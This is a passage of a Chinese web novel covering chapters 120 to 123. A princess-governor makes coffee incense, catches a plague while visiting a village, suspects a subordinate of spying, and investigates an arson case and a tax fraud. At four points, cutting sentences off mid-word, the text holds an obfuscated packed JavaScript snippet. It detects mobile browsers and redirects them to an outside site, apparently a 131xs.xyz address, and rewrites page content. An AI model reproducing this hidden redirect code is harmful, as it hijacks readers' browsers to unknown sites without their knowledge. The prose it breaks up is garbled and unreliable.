萧柠道:“各位老板,一棵咖啡树能结的咖啡果有限,总共只能泡二十杯咖啡。目前我只有一颗咖啡树,果实有限,所以只能提供这么一点。” 齐老板道:“如果数量这么少,我们怎么在酒楼推广呢?” “我想了一种别的推广方式,不卖咖啡饮品,而是卖咖啡线香。” 一个老板问:“何为咖啡线香?” “就是把咖啡果研磨成粉,跟其他香粉混合,调制出一种特别的线香。咖啡本就有提神醒脑的功效,再辅以柠檬、薄荷、香茅、楠木粘粉等材料,就可以做出一款提神的香。 而这款香跟其他提神香的区别在于,它里面加了咖啡粉,气味独特,其他产品仿制不出来。 咖啡果目前只有我有,所以各位卖咖啡线香,应该也能在一段时间内赚到钱。 咖啡果用来泡水喝,泡不了几杯;但用来制香,可以制几百盒,每盒10支左右,更经卖。” 说着,萧柠就点燃了一支香,道:“这就是我最近做出来的咖啡线香,请各位老板闻闻。” 几位老板闻了之后,纷纷觉得很清爽,咖啡香中带着清香、木香,十分特别。 萧柠问道:“几位老板觉得如何?如果放在你们酒楼,能卖出去吗?” “应该可以,来酒楼的顾客很多都喜欢点香,尤其是这种与众不同的线香,他们应该会喜欢。” “大人,这咖啡线香怎么卖啊?” 萧柠道:“我手上剩余的咖啡果,大概可以做出六百盒左右的咖啡线香。你们平分,每家酒楼拿60盒。一开始先免费点给客人闻,若客人喜欢,你们就顺势推销。我可以给大家5两银子一盒的价格,诸位拿回去之后卖多少钱,就随便你们了。” “这……5两银子一盒,是不是太贵了点?” 萧柠道:“目前咖啡粉很稀缺,这些咖啡线香是独一无二的,总有人愿意买。你们可以先拿回去试试,如果卖不动,再送还给我好了。” 由于萧柠跟这些老板长期合作,已经建立了信任,老板们纷纷付钱,预定了几十盒咖啡线香。 萧柠一共收到了3000两的预付款。 萧柠和丫环们日夜赶工,总算做完了六百盒线香。 她让侍卫们把这些线香挨个送给各位酒楼老板。 材料还剩下一些,萧柠又继续做了两盒,屯着自己用。 白天,她在公廨里点咖啡线香,同僚们都很喜欢这个气味。本来有些人犯困的,闻到气味后也不困了。 萧柠曾经问过系统,自己能不能多种几棵咖啡树。 但系统说,咖啡树本就不适合长在南萧国,萧柠能种活一棵,已经是催熟液的功劳了,没法种熟更多。 因此,萧柠才想出制作咖啡线香的主意。 她其实挺喜欢喝加了牛乳的咖啡,但现在咖啡果短缺,她只能先做线香来卖钱。 先解决公事要紧,个人享乐可以放在后面。 她又问系统,是否可以多用催熟液,缩短咖啡果的生长周期。 系统说,咖啡树自从第一次结果之后,往后就是一年结一次果。如果要缩短生长周期,最快可以五天一结果,但每次要消耗80瓶催熟液。 萧柠算了一下,如果咖啡树五天一熟,一个月就能结果六次。每次80瓶,每个月催熟6次,一共是480瓶,需要24万积分。 她的积分刚好有24万多。 于是,她一下子购买了480瓶催熟液,准备每隔五天催熟一次。 如果在理想状况下,这6次结的果实全拿来制香,可以挣两万多两。 这次的咖啡果已经采摘完毕,萧柠偷偷倒了80瓶营养液下去。 接下来就是等待五天后的收获了。 ———— 容城下辖的文县突发瘟疫,有数十人感染,感染者已被隔离。 萧柠得知后,聚集众下属商议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147062|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌长空道:“公主,瘟疫是大事,于情于理,咱们都该派几个官员过去看一下。属下以前也曾处理过类似的事务,可带几名熟知疫病的官吏去文县看看。” 萧柠道:“凌司马是武将出身,这城中的军备、警戒、训练等事离不开你。要不,还是我去看看吧。” “公主万万不可,瘟疫可是会传染的。” “我听说,文县因瘟疫频发,已经研制出针对瘟疫的特效药,这次瘟疫的死者也比较少,想来应该没事。” 有一些官吏觉得不妥,极力劝说萧柠别去。 但也有一些官吏支持,说道:“公主来容城不久,应该多体察民情,这样才能得到百姓的拥戴。” “没错,我也支持公主去看看,我想和公主一道去。” “公主是女人,民间本就对公主当官有所质疑,公主更应该多做出点政绩来,给百姓们看看。” 夏以清也说道:“公主,我听说文县那边的瘟疫已经被控制住了,想来应该没问题,不如让属下和您一起过去吧。” 萧柠下定了决心:“也好。” 萧柠带着几个下属,昼夜兼程,两天后赶到了文县。 文县县令见萧柠亲自过来,受宠若惊,赶紧给萧柠及其随从发放防疫的香囊。 文县县令道:“太守大人,这香囊是几个名医最新研制出来的,效果还不错,您和您的随从一定要将香囊随身携带,这样可以最大限度地不被传染。瘟疫爆发初期,下官就携带此香囊去了疫区,来来去去的,也没什么事。” 萧柠点头:“好,本官记下了,多谢县令。” 萧柠把香囊挂在脖子上,随时能闻到。 很快,她们就赶到了疫区。 这次瘟疫的地点是一处村庄,该村庄因人员密集,房屋潮湿,村民卫生习惯差,导致老鼠、蟑螂、飞虫横行,从而引发瘟疫。 发现瘟疫后,没有得病的村民已经第一时间被疏散了,留在村里的都是病人。 村民们的房屋已经被仔细打扫、消毒过了,暂时看不到老鼠、蟑螂。 病得轻的可以自己照顾自己,病得重的就躺在床上。 他们家里也放着防疫的香囊,身上也挂着一两个。 由于病人都在家里,也没力气串门和说话,这个村庄倒挺安静。 萧柠对下属们吩咐道:“你们去看看那些病人,询问是否有没有烧掉的衣服、鞋子、手帕等物。如果有,赶快烧掉,再把咱们带的新衣服、新手帕发给他们。 有些人存着侥幸心理,会把之前的旧衣服偷偷藏起来,准备以后再穿,你们都搜仔细些。 另外,检查一下他们的粮食、蔬菜,看够不够,有不够的先登记,一会让县令来补上。如果有人无力做饭,也登记下来,派专人照顾。” 下属们道:“是。” 每次发生瘟疫的时候,病人穿过的衣服、鞋子,用过的手帕等物,都是要烧掉的,以确保安全。 但有很多病人舍不得烧,会偷偷藏起来,等病好了再拿出来穿,结果二次感染,造成麻烦。 因此,萧柠才这样吩咐下属。 120. 传染(修) 这时,从前面的一间房屋里走出一个粉衣少女。 这少女身材高挑,面容沉静,头上戴着几朵粉色的鲜花,应该是从路边采的。 她长得虽不算很美,但也有中上之姿。 而且,她看起来很健康,不像生病的样子。 她手上捧着一碗药,朝另一间屋子走去。 在这个村里,她是唯一一个外出走动的村民。 萧柠有些好奇,便叫住她,问道:“这位姑娘,你的病怎么样了?可以走动了吗?” 这粉衣少女看向萧柠,道:“我并未生病,我是医师。” 她见萧柠姿容绝世,却穿着一身红色官袍,微微有些惊讶,猜不透萧柠的身份。 萧柠觉得这姑娘自己未曾染病,却自愿留在疫区帮助病人,非常难得,便起了结交的心思。 因此,萧柠便自我介绍:“本官是容城太守,不知姑娘如何称呼?是哪里人氏?” 那粉衣少女惊讶道:“原来女孩也可以做太守了……小民叫秋笛,就是这个村里的人,以前跟一个名医学过几年的医术。虽然治不了疑难杂症,但一些常见的病我都能治。 这次村里爆发瘟疫,我们一家未曾染病。父母想带我逃走,但我不想走,就留在这里照顾村民了。” 萧柠问道:“你照顾他们多久了?” “大概有五天了吧。” “你身体还好吗?” “还好,戴着这个防疫香囊就没事,我一直没被传染。” 萧柠这才注意到,秋笛身上也有跟自己一样的防疫香囊。 秋笛道:“太守大人可有什么需要我效劳的?没有的话,我继续去熬药了。” “我没什么事,就是想了解一下村里的情况。你熬的药,是自己开的方子吗?” “不是,这种大病,我不敢自己开方子。方子是文县的几名名医一起开的,我只是照方抓药,并煎药给村民们吃。” “他们吃了药,是否有好转?” “基本上都有好转。” “那就好,你去忙吧,我不打扰你了。” “太守大人若是没事,就快走吧。您看着娇生惯养的,在疫区时间长了,怕是会生病。不像我们,从小在泥地里打滚,三灾八病的,已经习惯了,就不会轻易被传染。” “嗯,谢谢你的提醒,我再看看情况。最近有人病死吗?” “只有瘟疫刚发的时候病死了几个人,这几天都没有病死的。” “那就好。” 于是,萧柠和秋笛暂时分别。秋笛把药碗端给另一间屋子的病人,而萧柠则随便走走看看,探视病人。 病人们得知她是容城太守,都很感激她的探视。 萧柠从其中一间屋子走出来,忽然有个七八岁的小女孩跑了过来,撞到了萧柠身上。 萧柠赶紧退后一步,扶着那小女孩,问道:“小妹妹,你没事吧?” 这小女孩看着有些邋遢,头发也没梳,哇哇大哭。 萧柠有些担心:“你是不是撞疼了?” 小女孩道:“不是……我娘骂我,说是我把瘟疫带回家的,我不服,就跑出来了……” 萧柠听得有些气愤:“你娘为什么这么说?” “因为我是我们家第一个有症状的……我娘说,都怪我到处乱跑,把瘟疫带回家来,他们才染上了病……我娘还叫我出全家人的医药费,可是我没钱……呜呜呜……” 这小女孩一边哭,一边打喷嚏,溅了些口水在萧柠身上。 旁边的下属提醒道:“公主,小心,离她远点。她有疫病,当心传染。” 萧柠觉得自己有防疫香囊,应该没事。但为了保险起见,还是退后了一步。 小女孩哭道:“姐姐也嫌弃我!” 萧柠道:“姐姐不是嫌弃你,姐姐只是害怕疫病传染。我怕的是瘟疫,不是你。如果姐姐也被传染了,也会像你和你的家人一样难受,你也不希望姐姐变成这样吧?” 小女孩摇头:“不希望……那我还是离姐姐远点吧……” 小女孩主动远离了萧柠。 萧柠有些心疼她,问道:“你是谁家的孩子?我去见你母亲,帮你说几句话。再怎么样,也没有要一个小孩付医药费的道理。” “没事的,姐姐……” 这小女孩不哭了,直接跑了。 萧柠看她跑进了某一间屋子,便跟了过去。 进屋后,萧柠跟这家的女主人辩了几句,说瘟疫传染是无形的,她女儿先有症状,也不代表是她女儿第一个被传染,不能怪在小孩身上。更何况,她女儿也是受害者。 萧柠一番有理有据的话,令这家的女主人哑口无言。 刚才那个小女孩感激地看着萧柠,道:“姐姐,谢谢你帮我……你快走吧,我们家的人都有疫病,别传染给你了……” 萧柠道:“好,谢谢你的关心,我马上就走了。我身边还有最后一点食物,送给你家吧。” “谢谢姐姐……” 萧柠离开了疫区,先跟随从们在一间破败无人的房子里稍作休息。 文县的县令想安排她们住上好的馆驿,但萧柠拒绝了:“我们刚从疫区出来,还不知道有没有被感染。我们先在这没人的地方住两天,确定身体无恙再离开。否则,万一把疫病带回去,可就不得了了。 馆驿也有许多人,我们就先不过去了,免得在不知情的情况下传染给馆驿的人。” 文县县令点头道:“大人说的是……只是,大人没必要亲自去疫区的……” 萧柠笑了笑:“自从本官上任以来,有很多人认为我是凭借着公主的身份才当的官,来容城也只是走个过场,方便以后升官。我要想证明自己是真的为百姓着想,就要急他们之所急。遇到危险,我不能躲开。” “公主深明大义,不畏艰险,真是令下官等佩服。若有人敢在背后议论您的不是,下官一定将那些人抓来,严加惩处。” 萧柠摇了摇头:“不必了。防民之口,甚于防川。与其让百姓们不敢说话,不如我自己做到无可挑剔,让其他人想挑毛病也挑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147063|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。”【注释1】 “公主说的是。下官鄙陋之见,差点伤及公主的仁政。” “县令大人不必自责。您先离开吧,万一我们这些人当中有人染了疫病,说不定会传染给您。” “不要紧,之前疫病最严重的时候,下官出入疫区,都没有问题,何况是现在。公主远道而来,下官必须守在一旁,万一您有什么事,下官也能及时效劳。” “那就辛苦县令大人了。对了,疫区有个医师,叫秋笛。她并未染病,但却自愿留下照顾病人。我觉得她很不错,想等疫情结束后,把她带到我身边做事,不知县令大人觉得如何?” “这自然可以。不过,我县有许多医术高超的大夫,如果公主缺少大夫的话,下官可以从那些名医中挑一两个,让您带走。” “不,我身边并不缺大夫,缺的是真心为百姓做事之人。秋笛姑娘虽算不上名医,但她将个人安危置之度外,令我很佩服。既然有缘遇见了她,我就带她走吧。” “好的,等疫情结束,病人们都痊愈了,下官会将秋笛姑娘送到您这边来。” “好,记得先问问她愿不愿意到我这儿。” “是。” ———— 几个时辰后,文县县令说道:“这次的疫病有三个时辰的潜伏期,三个时辰后都未发作,说明没有被传染。公主,你们可以放心离开了。” 萧柠正准备站起来,忽然觉得头昏脑涨,额头发热,咽喉水肿,连咽口水都很疼。 她的力气也消失了大半,只能倚靠在凳子的靠背上,虚弱地道:“我怕是被传染了……” 下属和随从们都大惊,把萧柠围成一团,不知道该怎么办。 有个随从拿来水袋,想叫萧柠喝点清水。 萧柠摇头道:“不能喝……我喉咙很疼,吞咽困难……” 县令道:“不用惊慌,这次的疫病已经有药可以治了,我去煎一碗药来,让公主服下便可。” 没过多久,县令便端来一碗药。 虽然现在吞咽很痛苦,但萧柠为了治病,还是把一碗药都喝了。 大概过了半个时辰,她觉得有所好转,其他人才松了一口气。 文县县令叫奚粲,他对萧柠说道:“等到明天早上,再喝一副药,就能再好转一些。只是,若要彻底好转,估计要半个月以上。这半个月,公主需要好好休养,不要劳神费力。有什么政务,就叫下属去做吧。” 萧柠虚弱地点头:“好,多谢奚县令送药……我现在不宜挪动,就在这里养病吧。其他人都离我远些,免得被我传染。” 奚县令道:“公主放心,这个病不会二次传染。疫区的百姓是传染的源头,跟他们直接接触,才有被传染的可能。您是被他们传染的,您的病不会传给其他人。” “那我就放心了……只是,我跟其他人一样,都带了防疫的香囊,怎么会只有我染病呢?” “公主可曾近距离接触过疫区的病人?如果他们的眼泪、口水、鼻涕等沾到您身上,您是很容易被传染的。” 121. 火烧(修) 有个下属道:“确实有……当时疫区有个小女孩撞到了公主,还对公主哭诉她家人欺负她的事。期间公主确实接触到了那小女孩的眼泪、喷嚏之类的。我们虽然提醒公主远离那小女孩,但已经晚了。” 奚县令点头:“原来如此……” 萧柠道:“那小女孩也不是故意的,还请奚县令不要私下为难她。” “公主放心,下官不会这么做的。” 于是,萧柠就待在这里养病。 奚县令屡次想让萧柠去好一点的地方养病,萧柠都拒绝了,只让随从们把这间破屋的门窗加固一下,贴上窗户纸,防止风吹进来。 虽然她的病不会二次传染,但她怕自己去别的地方,引起其他人的恐慌,还是不要贸然移动为好。 随从们就把房屋加固了一下,并搬来简单的床和柜子,这房子勉强能住人了。 萧柠每天吃了睡,睡了吃,倒也清静。 自从她来到容城,已经很久没这么清静过了。 这天,萧柠一觉醒来,发现屋子里有个粉衣少女在熬药,正是之前在疫区见过的医师秋笛。 萧柠问道:“秋笛,你怎么来了?疫区的病人是不是好了?” 秋笛道:“不是,只有几个病人痊愈了,痊愈的人被转移到别处休养了,但还是有很多村民没有好。不过,其他大夫怕我一个人照顾病人会累病,所以他们自愿来替我。 我本来想去镇上找我爹娘,但县令大人派人来找我,说是公主很欣赏我,想把我留在身边做事,问我愿不愿意。我说愿意,县令大人就说,公主现在染病,还未离开文县,让我先过来照顾公主。等公主病愈,就可以一起回容城了。” 萧柠喜道:“太好了,那我就聘请你做我的私人幕僚吧,月俸我给你发。” 秋笛有些兴奋:“幕僚……是官吗?我文化程度不高,也能当官?” “幕僚不是正式官员,而是官员聘请的私人助手,但也算是个正式的岗位吧,就跟酒楼的掌柜、账房、伙计类似。” “原来如此,那太好了。不知公主需要我做什么?” “你会医术,以后就做医术相关的事吧。不过,你为何说自己文化程度不高?” “因为我确实没读过多少书,只是熟读了一些医书而已。药材名我都认得,但除了药材名以外的字,我认得的不多。” “那已经算是很有文化了,只要你能在医术上有所了解就可以了,未必要成为全才。” “是。” 两人聊了一会,药熬好了,秋笛端给萧柠喝。 喝完后,秋笛先出去休息。 过了一会,有人敲门。 萧柠问道:“是谁?” 门外人答道:“是属下,夏以清,来探望公主。” “进来吧。” 夏以清进来后,萧柠询问了他一些容城的情况。 自从萧柠生病,原地休养,她就把跟自己出来的官吏们都派回了容城,让他们去处理政务,如果有什么大事再跟她说。 夏以清道:“容城一切安好,请公主放心。” 萧柠问道:“那是不是有什么大事,你才来找我?” “不是,属下只是来探病的。” “谢谢你了,我好多了。不过病去如抽丝,还需要好多天才能痊愈。” “公主,其实京城的医疗水平更好,您要不要回京城就医?” “我是外官,不能随便回京的。而且文县的药很管用,我再喝几副就好了。” “公主,自从来到容城,您夙兴夜寐,十分辛苦。如今还染上了瘟疫,如果皇上知道了,一定十分心疼。您可以辞官回京,这样既能养好身体,又能跟皇上共叙天伦。” 萧柠有些惊讶:“夏以清,你为何这样说?如果让你辞官回家,你愿意吗?” “公主,属下跟您不一样。属下除了当官、挣俸禄,别无出路。可是您不一样,您有得选。您待在皇上身边,哄他高兴,要什么有什么,没必要像其他官员那么辛苦。 您本可以过清闲自在的生活,为何要选择艰苦的生活呢?您离开了容城,自然有其他人过来治理。您是公主,只需要享受官员治理的成果就行了。” 萧柠皱了皱眉:“夏以清,你要是再说这种话,我就翻脸了。你不会以为我走了,你就能当太守吧?” 夏以清惶恐道:“属下没有这个意思……我当然知道,我现在不过是九品小官,就算要升官,也要过很多年,绝不是把谁挤走就能占谁的位置。 属下刚才这一番话,出自肺腑,只是不忍见公主如此辛苦而已。您曾经帮过我,我只是想让您过得更好,别无他意。” 萧柠觉得有些心烦,勉强说道:“这些话以后不要再说了。论身份,我既是你的长官,也是公主,我的事还轮不到你来管。” “是。” 夏以清唯唯而退。 夏以清离开后,萧柠对他多了几分防备。 看来,夏以清并没有自己之前想的那么简单。 他到底为什么说这番话?萧柠才不信他是自己想这么说的。 劝自己的长官辞官不做,怎么看都是智.障行为。 他背后应该是有人指使的。 指使他的人是谁? 是靳妃,还是大皇子?或者是二公主萧梦苒? 总归是靳妃一系的人。 萧柠就不明白了,自己一没有揭发靳妃的罪行,二没有跟萧梦苒争什么,她们怎么就是这么容不得自己呢? 自己只想做个女官,这跟靳妃和二公主她们的利益不冲突啊。跟大皇子的利益也不冲突啊。 也许,她们是害怕萧柠成为举足轻重的官员后,会用自己的势力帮助其他皇子夺嫡。 如果是这样,那她们针对萧柠,也有一定的道理。 萧柠觉得,夏以清这个人每次出现的时机也很奇怪。 县试的时候,他跟萧柠一个考场。 乡试报名的时候,有一群举子为难萧柠,他刚好路过,帮了萧柠,博得了萧柠的信任。 会试的时候,他又是跟萧柠同一批参加考试,而且也一同考上了进士。 安排官职的时候,萧柠去了容城,他也被安排到容城,成为萧柠的下属。 萧柠每次一遇到什么困难,夏以清就跳出来,鼓动她辞官。 这桩桩件件,实在太过凑巧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147064|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>如果夏以清不是被人刻意安排到她身边的,那她以后就跟靳妃姓。 可是,夏以清却没犯什么错,萧柠也没法把他撵走,只能自己多留个心眼了。 不过,留着夏以清也有好处,至少有夏以清在,靳妃她们不会再安排其他暗探过来。 如果夏以清走了,萧柠就不知道自己身边的暗探是谁了,到时候敌暗我明,情况更加不利。 夏以清能考上进士,应该也是有一定水准的。科举考试严格,几乎不存在暗箱操作的可能性。 所以,靳妃她们寻找可用的棋子,还真是费了一番功夫。 棋子出身要寒微,这样才容易被收买;才学要高,这样才能考中举人进士;心思要不正,这样才能被她们利用;思维要灵活,这样才能取得萧柠的信任。 同时符合这几个条件的人,可不好找。 即便是夏以清,其实也不是那么完美,因为萧柠已经开始怀疑夏以清了。 这说明,夏以清隐蔽自己的手段并不高明。 也就是说,他并不是一个专业的暗探。他应该是一个从小勤学苦读的普通学子,在靳妃一系发现他有很高的才学后,才被收买,并没有受过专业的暗探训练。 所以,才破绽百出。 这么看来,在一开始萧柠参加县试的考场上,夏以清拿走她其他的糕点,剩下很多葵花酥,应该有故意的成分,而不是完全无心。 夏以清确实对葵花酥过敏,这为他留下了辩解的余地。但他肯定知道萧柠对蟹粉过敏,所以才故意留下洒了蟹粉的葵花酥。 他和杜四娘子,都是靳妃一系的人。 萧柠越想越心惊。 看来,自己以后要多加小心。 ———— 半个月后,萧柠的病情完全好转,带着医师秋笛回了容城。 萧柠身为太守,亲自探查疫区的病人,广受好评。一些本来对她心存质疑的百姓,也开始对她改观。 尤其是得知她感染了瘟疫,病了许久之后,百姓们对这位新任太守更加佩服了。 他们以前不相信皇族会真的在乎百姓死活,但萧柠的出现让他们意识到,任何一个群体都没有绝对的好人和坏人,皇族当中也有心系百姓之人。 系统给了萧柠6000积分,现在的积分是12800。 萧柠回来之后,听到有人击鼓鸣冤。 她赶紧升堂,发现来告状的竟是老熟人,是那几个外地来的卖米的客商。 他们上次来告状,还是因为卖高价米,被百姓打了。 但后来,他们把自己的粮食低价出售,跟百姓们关系变得很好。 不知道这次,他们又是为何而来。 萧柠问道:“你们有何冤情?” 几位客商当中,范自安跟萧柠最熟。上次就是萧柠救了范自安的母亲,后来范自安也登门拜访萧柠好多次,表达感谢。 因此,范自安先说道:“启禀大人,自从我们的存粮卖得差不多之后,就开始运其他商品来卖。 结果,我们几人的仓库竟然被火烧了,里面的货物都烧得七七八八,损失至少有几万两。还请大人查清纵火犯,为我们讨回公道。” 122. 造假(修) 萧柠惊讶道:“怎会如此?你们最近是不是得罪了什么人?” “没有,我们之前想来容城做生意,就事先打点了一下,跟容城的一些大商人搞好了关系。” “但你们之前卖高价粮食,得罪了不少百姓。” “是的,但小人觉得普通百姓没有胆子烧掉那么多货物。而且,前阵子我们把粮食低价出售,百姓们跟我们的关系早就缓和了。所以,小人认为,纵火者一定是容城的某个大商人,请大人把那些大商人都抓起来审问一下。” “没有证据的话,本官不能随便抓人。你们可有什么线索?” “没有,昨晚气候干燥,我们也睡得沉。发现火起时,火势已经很大了。我们几个结伴做生意,所以仓库也靠得比较近,被人一锅端了。现场有油的痕迹,应该是先被人泼了油,然后再放火,这样火势难以遏制。” “你们有看守仓库的人吗?” “有,我们几个派了二十多人看守仓库,三班倒,确保每时每刻都有人在。可是不知道为什么,昨天晚上一个人都没有,那些家丁都凭空失踪了。” “失踪了?既然是三班倒,晚上有多少人在?” “晚上八个人。” “八个人都失踪了?” “是的。” “所以,你们没有任何线索?” “没有。” 萧柠让他们先描述那八个家丁的相貌、衣着,让书吏画下来,张贴全城各处。如果有见到这八人的,来官府报告,有重赏。 然后,萧柠亲自带人去火灾现场查看了。 商人们存放货物的地方是几间平房,互相之间有一定距离,并不是直接挨着的。 所以,纵火者如果要烧掉全部货物,需要分别点火。 这些房子上都有火油的痕迹,确实如这些商人所说,是先泼了油,再放火的。 这样,一旦着火,火势几乎是遏制不住的。 大部分货物都被烧毁了,留下的只有铁盆、铁锅之类的物件,但也被烧得不成样子,肯定卖不出去了。 这几个商人也跟了过来,垂头丧气的。 萧柠道:“现场有那几个家丁遗留的物品吗?” 范自安道:“只有一些刀剑,是那几个家丁使用的。可能是那些家丁被人掳走的时候,掉落在地上的。” 萧柠道:“拿来看看。” 范自安把刀剑拿来,萧柠观察了一下,见上面没有血,也没有其他东西,似乎没有经过打斗。 萧柠对衙役们道:“你们四处看看,看有没有血或是其他可疑的东西。” “是。” 衙役们仔细看了,也没发现什么。 萧柠对那几个商人道:“看来这是一桩悬案,本官还要继续调查。你们不要破坏现场,等待调查结果就是。” “是。” 萧柠张贴告示,寻找火灾的目击者。但好几日过去了,也没有知情人出现。 那八名失踪的家丁似乎也没人看见。 萧柠只能先派人通知那几个商人,说是由于意外造成巨大损失的百姓,可以向官府申请救济金。如果他们有需要,可以自行申请。 不过,救济金并不多,只能勉强糊口而已,想来那几个商人应该看不上这点钱。 他们肯定更想知道是谁烧了他们的仓库。 萧柠私下找萧玉蟾和瞿明修夫妇商议道:“仓库被烧一案,没有目击者,也没有其他线索。我想了想,正所谓同行是冤家,纵火者最有可能是本地的某个商人。 但是,无凭无据,我不能派人监视本地的商人。一旦被人发现,不仅不利于查案,我还会被举报。你们两个都有一些暗卫,我想借你们的暗卫一用。” 萧玉蟾问道:“公主的意思是,让我们的暗卫去监视本地的商人?但是,容城的大商人也不在少数,我们俩的暗卫可能不太够用。” “着重跟踪那些在生意上跟几个客商有重叠的大商人吧。那几个外地客商,除了卖粮食之外,还运了一些布匹、瓷器、衣裳、日用品。我先整理一份名单,把本地比较大的布匹商、瓷器商、日用百货商列出来,然后你们派暗卫跟踪。” “公主,就算您整理出这份名单,只怕名单上的人也不在少数。我和明修的暗卫加起来才十来个,估计不够。” “没办法,只能凭运气了。优先跟踪那些有背景的、资产雄厚的商人。他们仗着自己有后台,胆子也比其他人大些。” “好,那等大人整理完名单后,我们找出十个最有背景、资产也较多的商人,让暗卫进行跟踪。” “好,多谢你们了。” “公主无需客气。” 瞿明修道:“其实,也存在另一种可能。既然那八个看守仓库的家丁都失踪了,也许放火的是他们,他们一起逃走了,所以才找不到人。” 萧柠道:“也有可能,我先叫那几个客商来问问。” 于是,萧柠升堂,传范自安等几人到堂,问道:“那八个失踪的家丁,平时跟你们关系如何?你们有没有什么过节?纵火者会不会是他们?” 范自安道:“大人,我们派去守仓库的人,都是我们的心腹,一般的家丁我们还不放心。那八个失踪的家丁跟我们关系很好,我们平时也善待他们,他们应该不会背叛我们的。” 另一个商人道:“是啊,那些家丁还有家人在我们几家干活呢,他们怎么会连家人也不要了?” “要我说,他们就是被掳走了。请大人早点找到他们啊。现在货没了,也没办法,但人如果还活着,对我们也是个安慰。” 萧柠道:“你们放心,本官会尽力。” 萧柠让本地的官吏整理一份大商人的名单,要按照那些大商人的势力、资产进行排序。生意涉及布匹、瓷器、日用品的优先排序。 整理好后,萧柠看了一眼,名单上有八十多人,她看得眼花。 她把名单拿给萧玉蟾和瞿明修夫妇看,说道:“要不就先跟踪名单上的前十个吧。” 萧玉蟾道:“嗯,先跟踪前十个,如果没什么异常,就再跟踪第1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147065|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1到第20个。纵火者掳走了八名家丁,不论是养着他们还是杀人埋尸,都不是件容易的事。真正的犯案者一定会露出破绽。” ———— 那些暗卫连续跟踪了几日,都没发现什么线索。 不过,某一日,暗卫六幺却来找萧柠,说自己有重大发现。 萧柠赶紧接见他,问道:“可是仓库纵火案有了新线索?” 六幺道:“不是,小人有其他发现。小人跟踪的是一个叫白绍雄的布匹商人。他的布行里雇佣了三十多个残疾人,但是他在前几天,偷偷把那批残疾人装上马车,运到了隔壁的凤城。他自己亲自驾车,穿着一身不起眼的、破旧的衣服,看起来就像个马夫。 他在凤城有个冶铁工坊,他让那三十多名残疾人下车,去冶铁工坊干活。 过了没多久,凤城的官吏巡视了他的冶铁工坊。凤城官吏离开后,他又把那批残疾人集中起来,用马车运回了容城,去了容城下辖的文县。文县有一个纺织厂,他又让那些残疾人去纺织厂干活。 没过多久,文县的小吏来巡查纺织厂,巡查完毕后,白绍雄又把这批残疾人拉走了。 这些天,白绍雄把这批残疾人拉来拉去,让他们去好几个工坊干活。但无一例外,等巡查的官吏走了,这些残疾人就会被拉走。 而那些工坊,有些是他的,有些不是。小人不知道白绍雄为何这么做,但觉得此举有些异常,所以来禀告公主。” 萧柠也觉得奇怪,但一时不明白那个白绍雄为什么这么做。 萧玉蟾和瞿明修夫妇也在,萧柠今天来跟他们下棋。 瞿明修出身世家,家族长辈中有很多当官的。他从小耳濡目染,对官场上的门道比较了解。他一听就露出了恍然的表情,对萧柠说道:“那个白绍雄用这种方法偷税漏税。” 萧柠疑惑:“偷税漏税?” “没错。公主,若是工厂雇佣残疾人,在税收上是不是有很多优惠政策?” “是的。雇佣残疾人的比例越高,税率就越低。” “白绍雄名下有好几个工坊,他想利用这个政策来降低税收。但是,他又不想让每个工坊都雇佣那么多残疾人,因为,残疾人的工作效率肯定比不上正常人,甚至完全没有工作能力。 所以,他只雇佣了一批,但在好几个工坊使用。只要让那些残疾人换个名字就行了,官吏巡查时走个过场,也不会认真核对。 而且,他的工坊都开在不同的地方,各地的官吏没什么大事不会互通消息。所以,那些官吏都没发现,白绍雄名下的工坊,里面的残疾人都是同一批。 这事事关重大,他不敢假手于人,所以才亲自护送这些残疾人。 而他有时候去的不是自家的工坊,那应该就是其他商人的工坊。他和那些商人互相勾结,串通一气,一起偷税漏税,可以一起抓了。” 萧柠笑道:“原来如此。我正愁账面上没钱,没想到他们上赶着送钱。” 萧柠对六幺道:“现在那批残疾人被运到哪里了?” 123. 十万(修) 